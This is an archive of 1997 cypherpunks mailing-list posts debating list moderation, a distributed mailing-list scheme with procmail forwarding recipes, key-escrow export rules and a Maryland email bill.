Subject: Re: Dissolving Choke Points
Message-ID: <199702040327.TAA12103@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:55 AM 2/3/97 -0800, Peter Hendrickson wrote:
...
>Another lesson is the danger of choke points.  We can see how
>tempting it is for people to exercise their control.  Even John Gilmore
>was unable to restrain himself from involuntary social engineering
>experiments.  Who would we have considered to be more trustworthy?
>
>Toad.com is a choke point, not just in terms of moderation but in
>terms of the rate at which it can distribute messages.  Let's
>replace it.
>
>What we want are many machines carrying the cypherpunks list.  A
>message posted to any machine goes to all of the others.  Each
>machine sends messages to its subscribers only once.  Some of
>these machines should be across borders.
>
>The mail loop and multiple posting problems are solved by observing
>the message IDs.
>
>Fast implementation: use moderated mailing list software.  Put a
>filter in the .forward file of the "moderator" account which looks
>at the message ID and forwards the message if it hasn't been seen
>already.  The mailing list machines all subscribe each other.
...
What you are suggesting is reminiscent of IRC.  Except, I think that each
IRC network has a central computer which could be controlled.

On your idea for fast implementation,  this could be hacked by would-be
censors.  A message comes into the list, the censor sees that the post is
from a regular enemy.  The censor then copies the header information onto a
new message, one containing garbage, or snippets from old posts, reads the
new post to see if it is acceptable, and if it is, adds a new header,
probably only the time would be changed, and transmits it out.  If the would
be censor was the sysop of a machine near the origin of the message, and if
the censor operated the censorship either by bots, or monitored the feed 24
hours a day, (not likely), then the actual message would get to few.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Ray <jmr@shopmiami.com>
Date: Mon, 3 Feb 1997 15:56:54 -0800 (PST)
To: Bill Stewart <toto@sk.sympatico.ca
Subject: "Secret" Postal Device -- Update.
Message-ID: <199702032356.PAA06506@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



It seems as though it's a keyring(!) with one (some?) of the/those
key(s) they use to unlock all the mailboxes for apartment houses.
I guess it's a keyring too big for a pocket, but I don't know.

Herald reporter revealed this today, but didn't want to. I guessed
right, and he ended up admitting it after I informed him of how I
know various Herald reporters and sorta social engineered him into
saying too much by keeping him talking. :-)

My mail has been acting up all weekend due to something unknown
happening at Sprint.
JMR



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Regards, Jim Ray <jmr@shopmiami.com>
DNRC Minister of Encryption Advocacy

One of the "legitimate concerns of law enforcement" seems to be
that I was born innocent until proven guilty and not the other
way around. -- me

http://shopmiami.com/prs/jimray/    
PGP id.A7D63DA9 98 1F 39 BA 93 86 B4 F5  57 52 64 0E DA BA 2C 71







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Scott V. McGuire" <svmcguir@syr.edu>
Date: Mon, 3 Feb 1997 17:26:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: My Departure, Moderation, and "Ownership of the List"
Message-ID: <199702040126.RAA08926@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

I've been quiet about the moderation experiment (and I never posted
frequently anyway) but something Sandy wrote requires comment.  In
responding to Tim, Sandy points to the number of people on the censored
list as evidence of the acceptance of the filtering.  I am included in
that group and object to my silence being interpreted as support.

As Tim has pointed out, the bulk of the 2000 or so people who have
remained on the filtered list have never been active participants on the
list.  As we have never heard from them, we don't even know that they were
bothered by the flames and noise of the pre-filtered list.  And, even if
we did know, I don't think that there opinions should count as much as
those of the more active participants to the list.  A subscription to the
list does not make one a member of the Cypherpunks "community".  It is the
opinion of the members of the community and not the observers of it which
should matter.  (Even within the community, some people are more a part of
it than others, and nobody is more a part of it then Tim.)

As for the rest of us on the filtered list who are active (or occasionally
active) participants, our remaining on the list still can not be taken as
support for censorship.  Moderation of the list was announced as a one 
month experiment.  I didn't change my subscription from the filtered to
the unfiltered list because I expected this to end in a month and I was
willing to participate in the experiment.  You can't ask someone to try
something for a month to see if they like it and call there use of it in
that month evidence that they like it.

As long as I am writing, I may as well write the rest of my thoughts.  While
there was a period between the announcement of moderation and the start of
it during which people could (and did) comment on the change, the
announcement was clear that there would be moderation.  It was indeed a
fait accompli.  The moderated list should have been offered but not
imposed.  Then the experiment would have determined how many people
thought the list was so bad that they would seek moderation, rather than
determining how many thought moderation was so bad that they would seek to
avoid it.

Sandy, you said that you thought the list had improved since you began
moderating.  How could you think otherwise?  When you send an article to
the flames list its because you think the list would have been worse
otherwise.  I don't think the moderators opinion should be considered in
determining if moderation is a good thing.  I think there is a conflict of
interest there.

- --------------------
Scott V. McGuire <svmcguir@syr.edu>
PGP key available at http://web.syr.edu/~svmcguir
Key fingerprint = 86 B1 10 3F 4E 48 75 0E  96 9B 1E 52 8B B1 26 05



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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "A. Padgett Peterson P.E. Information Security" <PADGETT@hobbes.orl.mmc.com>
Date: Mon, 3 Feb 1997 17:41:11 -0800 (PST)
To: eb@comsec.com
Subject: Re: RC5-12/32/5 contest solved
Message-ID: <199702040141.RAA09191@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>I received a nice flyer in the mail the other day from "Chip Express"
>(www.chipexpress.com, 800-95-CHIPX). They are offering Laser
>Programmed Gate Arrays.  It appears to be a reasonable way to get some
>Wiener chips built.  As I recall, the Wiener design required about
>23,000 gates.  Their blurb had the following table in in:

>  FPGA Gates  ASIC Gates  500 Units  1000 Units  5000 Units
>    40,000      20,000      $77        $45         $10
>   Not Avail   200,000     $176       $150         $82

First I can buy a 486DX-66 (with fan) for $37, but to make it into a PC 
takes just a wee bit more. Second, there is a world of difference in speed
between a Field Programmable Gate Array and an Application Specific
Integrated Circuit. The second is much faster (have heard of up to 200 Mhz)
but doubt that you can get there with a laser (probably where the 50 Mhz
figure comes from). I suspect you will need to have a mask made first - that 
is where the real money goes. However lets consider that you are really lucky 
and the first mask works and you get 100% yield (good chips).

Next you need a backplane with an input mechanism to prime each of those
chips with the text to break (will assume you have built in the 
initialization sequences for each chip). Then you need a path to provide
the KPT to the XOR at the output, powersupply, RF shielding, and a few 
other minor items (can probably use a PC for a front end).

Then, you need a way to report success but that is trivial.

Finally, you need to hope that none of those 5000 chips experiences infant
mortality or that you have some scheme to detect if that happens and to
which chip (was there BITE in the design ?).

Personally, would design the 5,000 to provide possible answers (say 2^32)
as an initial step and then push that into a single MasPar or similar. Might
find out some interesting things that way while reducing the overall 
complexity.

Just some food for thought.
					Warmly,
						Padgett

ps couple of people last year were working with FPGAs, I corresponded
   with them briefly. Why not ask them how my "guesstimates" correlated
   with their experiments...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Thaddeus J. Beier" <thad@hammerhead.com>
Date: Mon, 3 Feb 1997 20:11:31 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: GAK cracking?
Message-ID: <199702040411.UAA13277@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



TIS's press releases, and the article in the paper, imply that
TIS has been approved for 128 bit (uncrackable, except by prior
arrangement) cryptography...not just 56 bit.  They say, and they
should know, that you can export 56 bits now with just a "plan"
of key escrow, and that you can export more if you have a system...
which, what do you know, they have!

thad
-- Thaddeus Beier                     thad@hammerhead.com
   Visual Effects Supervisor                408) 287-6770
   Hammerhead Productions  http://www.got.net/people/thad





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Clint Barnett <cbarnett@eciad.bc.ca>
Date: Mon, 3 Feb 1997 20:11:17 -0800 (PST)
To: Anonymous <nobody@replay.com>
Subject: Re: Getting into MIT is impossible
Message-ID: <199702040411.UAA13268@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


wasn't Dolph Lundgren an MIT grad? I seem to remember something about him 
having a degree in Chemical Engineering  or something along those lines. 

clint barnett
lord of the cosmos
emily carr institute

On Wed, 29 Jan 1997, Anonymous wrote:

> 
> 
> According to Rick Osborne:
> 
> "I disagree and can speak from experience.  I was denied admission to MIT
> even thought I had a 3.82 GPA, 1440 SAT (one try), and had taken 9 AP tests
> with two 5's, four 4's, two 3's, and one 2.  As for being well-rounded, I
> was on several academic teams, sang in Chorus, acted and stage managed in
> Drama, and played Tennis."
> 
> People get into MIT--or don't get into MIT--for lots of reasons. Most
> intelligent people apply to several schools, knowing that admissions
> practices are subject to the vagaries of reality.
> 
> In my case, my SATs were about 1500, with some 800s in achievement tests.
> And the usual bullshit high school clubs, political offices, etc. etc. I
> was accepted by MIT, but not by Caltech. I didn't lose any sleep over the
> way things turned out.
> 
> And I decided not to go to MIT, either.
> 
> "The only thing I didn't have that the next MIT applicant had was money.  I
> made the mistake of letting them know that I was dirt poor and would need
> full aid/grants/etc, and to quote "The Great Escape" it was "Zzzt! To the
> Russian front!""
> 
> My guess is that "other factors" were involved. 
> 
> I noted with some interest, but little surprise, that the guy claiming MIT
> required a 4.0 GPA and a 1600 combined SAT score could barely spell, and
> had major problems making a coherent point. Methinks this is why MIT
> rejected him, not his lack of a "1600."
> 
> ">For what it's worth, I wanted to go to MIT my sophomore year in high
> >school, too
> 
> "Lucky you.  It had been a dream of mine since I was an annoying
> overachiever of 6.  Sux to be white trash, I guess."
> 
> MIT offered me a substantial economic aid package, in the form of loans,
> grants, and various campus jobs. What does this tell you?
> 
> "MIT may be a great school, but they tend to be snooty assholes for the most
> part.  (DISCLAIMER: Not all MIT grads/attendees are necessarily "snooty
> assholes", I'm just saying that I've yet to meet one that wasn't.)
> 
> I've known about a dozen or so MIT grads, and only one of them was a snooty
> asshole, and it was a _she_, one of the first MIT women grads (and she was
> _very_ impressed by this). 
> 
> Most MIT grads are perfectly reasonable.
> 
> Xanthar
> 
> 
> 
> 
> --
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Mon, 3 Feb 1997 17:57:50 -0800 (PST)
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: My Departure, Moderation, and "Ownership of the List"
Message-ID: <199702040157.RAA09663@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Adam Back wrote:
> 
> Perhaps it is time to reconsider the benefits of alt.cypherpunks.  (As
> an aside, it is ironic that John Gilmore was the guy who started the
> alt.* USENET hierarchy, specifically to facilitate freedom of speech).
> 

An interesting idea.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Mon, 3 Feb 1997 20:11:16 -0800 (PST)
To: Robert Hettinga <cypherpunks@toad.com
Subject: Re: Embarrass a Marylander, Go to Jail
Message-ID: <199702040411.UAA13267@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:04 PM 2/3/97 -0500, Robert Hettinga wrote:
>
>--- begin forwarded text
> Excerpted from...
>
> =============================================================
> AOP Bulletin      Friday, February 3, 1997       Volume 97:05
> =============================================================
>
> The following is information distributed to members of the
> Association of Online Professionals and others involved in the
> online communications industry.  Contacts and other information
> about AOP may be found at http://www.aop.org.
>
>
> *****************************************************
> Maryland Recycles Law On "Annoying" E-Mail
> *****************************************************
>
> A Maryland bill that would make it illegal to send "annoying"  or
> "embarrassing" e-mail was introduced this week by Democratic General
> Assembly member Samuel Rosenberg.

I would find any email "annoying" that supported such a bill.  Maybe we 
ought to send emails to Rosenberg, stating that we find his entire proposal 
"annoying," and ask him when he's going to turn himself in for his misdeeds.


Another good argument for AP.



Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Mon, 3 Feb 1997 20:13:01 -0800 (PST)
To: "cypherpunks@toad.com
Subject: Re: GAK cracking?
Message-ID: <199702040413.UAA13311@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:45 AM 2/3/97 -0500, tmcghan@gill-simpson.com wrote:
>But under a controversial new Clinton administration policy that took 
>effect Jan. 1, companies may receive permission to export stronger 
>programs. 
>
>"I'm happy that we've been able to do this within the first month 
>without rancor or difficulty," Under Secretary of Commerce for Export 
>Administration William Reinsch told Reuters in a telephone interview. 
>
>To export stronger programs immediately, companies must agree to 
>incorporate features within two years allowing the government to 
>decode encrypted messages by recovering the software keys, however. 


This ought to be challengeable.  (equal-protection violation?)  

And while the government's actions are normally phrased in this way, another 
way to describe them is to argue that the government is:

1.   Wanting a product or service to be developed.

2.   Wants private companies to do this.

3.   Wants to do so without Congress appropriating the money.  (And they're 
doing it by, in effect, "paying" for it by allowing certain companies to 
export freely, with the requirement that the company does the work "gratis".)

4.   Wants to do so without any sort of competitive bidding process.  (The 
terms of the contract have not gone through any of the normal procedures.)


I assume there are laws and/or rules which prohibit exactly this kind of 
behavior. 

Would it be possible to file a lawsuit, and then file for an injunction to 
prevent this de-facto deal from going through?   Might this constitute an 
anti-trust violation, because multiple companies are acting in concert to 
restrict access to the foreign crypto market by agreeing to develop ONLY A 
CERTAIN KIND OF ENCRYPTION, namely GAKked encryption?




Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Mon, 3 Feb 1997 20:26:37 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Dissolving Choke Points
Message-ID: <199702040426.UAA13731@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:55 AM 2/3/97 -0800, Peter Hendrickson wrote:

>Moderation has been a failure.  I'm pretty good at filtering and I
>can sadly report that there is very little signal out there.

I don't think it's reasonable to expect an increase in signal within 2 1/2
weeks of the start of moderation. Improvement in the s/n ratio, yes. But
(at least if my speculation is correct), the good posts driven away by bad
posts (because some good authors are too busy to wade through lots of crap,
and some good authors are reluctant to publish their work amidst crap)
would take a much longer time to return.

(I'm working on a message re moderation and the list which will better
explain what I think about that - but I'm not trying to argue, above, that
we *must* have moderation for a long time - simply that it's too early to
call it a failure for failing to significantly increase the number of
useful messages.) 

>There are lessons to be learned here.  One is that censorship does
>not promote a stimulating and creative dialogue.

No, that is a silly lesson to draw from this experiment. There are lots of
useful and interesting "moderated" (on paper, it's called "editing")
publications/lists/digests where the content is intentionally controlled
for content and style. 

This particular implementation is imperfect. However, just as it would be
overreaching to conclude from the relative uselessness of the
pre-moderation list that "every list must be moderated, unmoderated lists
cannot succeed", it overreaches to conclude from the current results that
moderated lists cannot succeed.

>Toad.com is a choke point, not just in terms of moderation but in
>terms of the rate at which it can distribute messages.  Let's
>replace it.
>
>What we want are many machines carrying the cypherpunks list.  A
>message posted to any machine goes to all of the others.  Each
>machine sends messages to its subscribers only once.  Some of
>these machines should be across borders.
>
>The mail loop and multiple posting problems are solved by observing
>the message IDs.

I think you misspelled "Usenet". Hope this helps. 

Seriously, if you want a distributed no-choke-points "flooding" message
distribution system, you're talking about Usenet. Robust software exists
for clients and servers, and it's already supported worldwide on many
operating systems. No need to write more software to graft that
functionality onto E-mail. If the list is going to turn into Usenet (we've
already got most of Usenet's better kooks), we might as well just move the
damn thing over to alt.cypherpunks and be done with it. (Anyone care to
guess who founded alt.* as a way to route around censorship?)

(Of course, Usenet is a technical success and a spectacular failure,
content-wise. So opponents of moderation will be forgiven for failing to
mention this sparkling example of an unmoderated, anything-goes forum for
discussion.)


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Mon, 3 Feb 1997 19:26:10 -0800 (PST)
To: Cypherpunks <cypherpunks@toad.com>
Subject: Re: Dissolving Choke Points (fwd)
Message-ID: <199702040326.TAA12077@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> From: ####### ### <###@###.com>
> To: ichudov@algebra.com
> Subject: Re: Dissolving Choke Points
> 
> ichudov@algebra.com writes:
>  > i do have unix (linux) and stuff, but i can't take a lot of subscribers
>  > -- maybe 200-300 or so.
>  > 
>  > i actually wrote a proposal for a mailing list without a central control
>  > point, with several advantages being impossibility of control, absense
>  > of a single point of failure, and cryptographic verification of honesty 
>  > of moderators.
>  > 
>  > if there is any interest, i will post it here.
> 
>      Please do.
> 
> Regards,
> 
> ####### ###

Here, I propose a new scheme for the Cypherpunks mailing list that would

1) Ensure that no one person is able to take over the control over the list
2) Ensure that there will be no single point of failure, i.e., shutdown
   of any single computer will not kill the list
3) Ensure that even people with relatively small Net resources can help
   keep the list afloat.

The idea is as follows: even though Cypherpunks is one group, the group
will be based on multiple mailing lists with identical content. These
lists may be named, for example, cypherpunks@algebra.com,
cypherpunks@toad.com, and cypherpunks@netcom.com (obviously, these names
are used as an example only).

Any user is free to subscribe to any of these lists. All of these lists
will interact with each other in the following way: 

1) Each node would forward ALL incoming submissions to a) all other nodes
   and b) to all subscribers "attached" to the node
2) Each node will send information about all new subscriptions to 
   each other node.

The following procmail recipes for cypherpunks@ accounts may be used to 
ensure quick forwarding: 

# is it sent to cypherpunks (some spams will be trashed here)
# and is it not a mail loop?
:0
* ^TOcypherpunks
* !^X-Loop:
{
  #
  # This recipe removes duplicates!
  #
  :0 Wh: msgid.lock
  | formail -D 32768 msgid.cache

  # forward it to other cypherpunks lists
  :0 c
  !cypherpunks@netcom.com cypherpunks@toad.com

  # send it to all local subscribers
  :0 c
  !majordomo -some -arguments

  # store the checksum and message-id for honesty verification (see below)
  :0
  |accounting
}

# suSCRibe/unsuSCRibe recipes go here

This scheme ensures that the list is run in a cooperative fashion and
can be maintained by a number of individuals without any one of them
having an expensive internet connection or being "in charge". It also
ensures that even if one node fails, traffic can be re-routed to other
nodes. Just as well, it ensures that any attempts of cheating will be
noticed: it is easy to write a bot that would subscribe to all of these
lists and see if any messages get "lost".

Users can send their articles to only one node, or, if they feel
paranoid, to several nodes at once. All we need is to make sure that 
all Message-IDs of outgoing messages are unique at every node.

Honesty verification: 

I suppose that there may be some more elaborate, crypto-based schemes 
to control and monitor article distribution. For example, there can be
another list, cypherpunks-control, where each of the nodes posts a 
publicly available signed summary of checksums of articles that went
through, and individual users would be able (with the help of s simple
client program) to verify that

        1) They received these articles
        2) That summaries received from all nodes are identical
        3) That all articles were received by all nodes


They do not HAVE to do it, but they can if they want. If they do, there
will be no way for list maintainers to censor anything.

If a node goes down or if the users' verification scripts indicate a 
potential for cheating, they can resubscribe to some other node and
let everyone else know what's going on.

My proposal strikes me as fairly simple and potentially workable. Even
though 90% of the users will never get to usnig the verification
mechanism, it will ensure honesty.

Note also that this mechanism is a gross simplification of the way 
USENET works, so some may vouch for a usenet group instead. 

Your opinions will be appreciated.

        - Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 3 Feb 1997 17:56:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: Embarrass a Marylander, Go to Jail
Message-ID: <199702040156.RAA09633@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Date: Mon, 3 Feb 1997 19:25:51 -0500 (EST)
To: Multiple Recipients of e$pam <e$pam@intertrader.com>
From: e$pam@intertrader.com (e$pam)
Reply-To: e$@thumper.vmeng.com
X-Comment: To unsubscribe, send any email to e$pam-off@intertrader.com
Precedence: Bulk
Subject: Embarrass a Marylander, Go to Jail
X-orig-from: Randy Cassingham <arcie@netcom.com>
X-e$pam-source: Various

Forwarded by Robert Hettinga

-----------------------------------------------------------------------
Date: Mon, 3 Feb 1997 14:37:56 -0700 (MST)
 From: Randy Cassingham <arcie@netcom.com>
 Subject: Embarrass a Marylander, Go to Jail
 To: listmom-talk@skyweyr.com
 Mime-Version: 1.0
 Precedence: Bulk
 Reply-To: listmom-talk@skyweyr.com


Passed on without comment.

  /  Randy Cassingham  *  Author, "This is True"  *  arcie@netcom.com  \
  | For info on What I Do, send a blank e-mail to TrueInfo@freecom.com |
  \ or check out <http://www.freecom.com/> * I promise you'll like it  /
   + FIGHT SPAM! Send a blank e-mail to nospam@mailback.com for help! +

 ---------- Forwarded message ----------

 Excerpted from...

 =============================================================
 AOP Bulletin      Friday, February 3, 1997       Volume 97:05
 =============================================================

 The following is information distributed to members of the
 Association of Online Professionals and others involved in the
 online communications industry.  Contacts and other information
 about AOP may be found at http://www.aop.org.


 *****************************************************
 Maryland Recycles Law On "Annoying" E-Mail
 *****************************************************

 A Maryland bill that would make it illegal to send "annoying"  or
 "embarrassing" e-mail was introduced this week by Democratic General
 Assembly member Samuel Rosenberg.

 The bill got little support when it was introduced last year, but
 Rosenberg hopes to play off of recent murders involving electronic mail to
 see the bill passed.

 Civil liberties groups argue that the law would be unconstitutional, and
 that the terms "annoy" and "embarrass"  are too vague to be meaningful.
 If passed, House Bill 778 would amend the state's criminal harassment law
 to prohibit the use of email to annoy, abuse, torment, harass, or
 embarrass other people, with violators receiving a fine up to $500 and
 three years in jail.

 A similar bill introduced last year is quietly progressing through New
 York's state legislature. Senate Bill 1414, introduced by Democratic State
 Senator Ray Goodman, could be voted on in the House early this year.

 Full text of the Maryland bill can be found at
 http://mlis.state.md.us/1997rs/billfile/HB0778.htm.



--------------------------------------------------
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--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David Farber <farber@cis.upenn.edu>
Date: Mon, 3 Feb 1997 17:55:51 -0800 (PST)
To: Sean Roach <roach_s@alph.swosu.edu>
Subject: Re: concerning Ben Franklin
Message-ID: <199702040155.RAA09584@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


My favorate Ben Franklin quote is

"They that can give up essential liberty to obtain a little temporary 
 safety deserve neither liberty nor safety."       - Ben Franklin, ~1784





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc Weber <blancw@microsoft.com>
Date: Mon, 3 Feb 1997 21:41:56 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: RE: My Departure, Moderation, and "Ownership of the List"
Message-ID: <199702040541.VAA15787@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	Vladimir Z. Nuri, in his Ruskie disguise:

hi timmy, a word to the wise: it amuses me that whenever I referred
to a cypherpunk "community" my eyebrows were flamed off, by people
who claimed there was no such thing. a community has certain properties,
many of which I believe the cypherpunks "crowd" has always lacked.
......................................


LD, when you say "community" it means something else than when others
do.  When the cpunks said "community" they meant the camaraderie which
develops in the company of people with similar interests.  When you say
it, it means a group of people stuck to each other by rules of order and
socialization, with boundary lines predetermining the limits of their
arena.

The cpunks had intended that everyone would self-determine the extent or
limits of their interactions, thus arriving at a sense of "community"
from the decision to do so, rather than from being squeezed along
through "proper" channels. 


==
one aspect of the "crowd" that is lacking is LEADERSHIP. I have pointed
this out again and again. the cpunks believe that leadership is no
longer relevant in a digital society, somehow. the list is in the
shape it is in because of POOR LEADERSHIP.. neither you nor EH care
about what LEADERSHIP entails, or wish to exert the sacrifices that
it requires. 
...............................


Typically, people who yell for LEADERSHIP are those who either need it
themselves or are eager to supply it for others - i.e., to determine the
course of events.   Which one of these categories do you yourself fall
into?


==
<<* The proper solution to bad speech is more speech, not censorship.

ah, so everyone should post 5 messages to the list, instead of 1, and
those that are quite should post 3. 
........................................


I would more precisely say that the solution to bad speech is better
speech, thus eliminating the need for 5 messages when 1 will do. YMMV.
Do you think this would hold up in reality?


==
quite an elegant solution. do you
see how the silly rhetoric fails to hold up in reality? when will you
get a clue about where your own views are really leading you? 
................................


You're starting to sound like Ayn Rand. (heh)

   ..
Blanc







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Mon, 3 Feb 1997 19:25:48 -0800 (PST)
To: Lucky Green <shamrock@netcom.com>
Subject: Re: Moderation [Tim,Sandy]
Message-ID: <199702040325.TAA12034@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> I believe that Cypherpunks is beyond hope of recovery. In fact, each day
> Cypherpunk (as in cypherpunks@toad.com) lives on, it does damage to the
> cause. Let's kill the list. Once and for all. Let the hard core crypto go
> to Coderpunks, the politics to Cryptography, and the garbage into the void.

    Correct me if I am wrong, but isn't(wasn't) there an implied threat of 
moderation on the cryptography@c2.net list? Mr. M started it with the intent
of getting away from much of the cruft (ADD, & etc.) that had accumlated 
here, and he was quite open about moderating it if he thought it needed it.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@zifi.genetics.utah.edu>
Date: Mon, 3 Feb 1997 21:40:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Dissolving Choke Points
Message-ID: <199702040540.VAA15692@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


pdh@best.com (Peter Hendrickson) writes:

> What we want are many machines carrying the cypherpunks list.  A
> message posted to any machine goes to all of the others.  Each
> machine sends messages to its subscribers only once.  Some of
> these machines should be across borders.

Ever heard of Usenet?  It works exactly like that...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc Weber <blancw@microsoft.com>
Date: Mon, 3 Feb 1997 21:43:32 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: RE: Filling Power Vacuums
Message-ID: <199702040543.VAA15857@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	Vladimir Z. Nuri, filling in for Mother Theresa:

timmy, I encourage you to understand that leadership is not 
inherently evil. there are enlightened ways to lead people that
leave the group better as a whole. you just fell into the trap
of "negative leadership", the dark side of the force as you write.
imho, however, there is a light side of the force that still involves
leadership.
.................................................


Well, thank you, Master Yoda !   :>) 

Not speaking for Tim (I doubt he will answer you, anyway), but he *has*
supplied leadership.   Leaders can lead by example, and also by the
clarity of thought & ideas which they present.  I think he has quite
often supplied such qualities in his posts, and this has contributed
greatly to the atmosphere of anarchic "community". 

Speaking of leadeship, though, to "lead" implies that there is a place
to go, and that the leader is the one at the head of the pack,
indicating the proper direction (this would be the opposite of what
anarchists want, since they would be going not toward, but away from,
something).  

If leadership is defined to mean setting a course for people who lack
direction, this implies the existence of followers who are willing to be
led into places and to adopt methodologies when they don't know what
else to do; that they will follow a leader who will supply structure and
purpose to their indecisive condition.

This does place a lot of responsibility upon a leader, then, for setting
the goal, the course, and the methodology.  That's a lot of formality to
impose; too much, when you're only exchanging ideas rather than formally
setting out to accomplish something specific (like by a particular time
& date). 

Is it Time for the Revolution? 

   ..
Blanc






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@zifi.genetics.utah.edu>
Date: Mon, 3 Feb 1997 21:40:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Moderation [Tim,Sandy]
Message-ID: <199702040540.VAA15700@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Adam Back <aba@dcs.ex.ac.uk> writes:

> Lucky Green <shamrock@netcom.com> writes:
> > I believe that Cypherpunks is beyond hope of recovery. In fact, each day
> > Cypherpunk (as in cypherpunks@toad.com) lives on, it does damage to the
> > cause. Let's kill the list. Once and for all. Let the hard core crypto go
> > to Coderpunks, the politics to Cryptography, and the garbage into the void.
> 
> What about the leaks?  (rc4.c, Mykotronics dumpster contents, etc)
> Where do they go?

How about sci.crypt, where they usually go before being forwarded to
cypherpunks?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Mon, 3 Feb 1997 22:26:09 -0800 (PST)
To: Greg Broiles <cypherpunks@toad.com
Subject: Re: Dissolving Choke Points
Message-ID: <199702040626.WAA16881@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 07:59 PM 2/3/97 -0800, Greg Broiles wrote:
>At 10:55 AM 2/3/97 -0800, Peter Hendrickson wrote:
>
>>Moderation has been a failure.  I'm pretty good at filtering and I
>>can sadly report that there is very little signal out there.
>
>I don't think it's reasonable to expect an increase in signal within 2 1/2
>weeks of the start of moderation. Improvement in the s/n ratio, yes. But
>(at least if my speculation is correct), the good posts driven away by bad
>posts (because some good authors are too busy to wade through lots of crap,
>and some good authors are reluctant to publish their work amidst crap)
>would take a much longer time to return.

Many good authors have already left the list and *nothing* will get them
back. The only solution is to move traffic to a different list. [Ever
wondered why it is called a "TAZ" and not a "PAZ"? Though, in all fairness,
I there is a "SPAZ". <Hi to Dave Synthesis and all the folks from SPAZ>.]




-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 4 Feb 1997 06:56:02 -0800 (PST)
To: "C. Kuethe" <ckuethe@gpu.srv.ualberta.ca>
Subject: Re: FCPUNX:ecure Phones
Message-ID: <199702041456.GAA28732@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:41 PM 2/3/97 -0700, C. Kuethe wrote:
>As we were both saying (meaning to say) there's a lot of holes in there...
and
>you're rich if you'd trust $1e4 to this box.... I'd put maybe $100 on it. Not
>that I have a problem with wealth. My point there is that I don't think this
>device is secure enough to be placing a lot of trust in... 

For 1E3, you can get the CS8191 from Communication Security Corporation.
http://www.comsec.com/

It uses 3DES. No silly "voice inversion". Sigh.



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Mon, 3 Feb 1997 21:41:50 -0800 (PST)
To: Wei Dai <weidai@eskimo.com>
Subject: Re: what's in a name?
Message-ID: <199702040541.VAA15781@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Wei Dai allegedly said:
> 
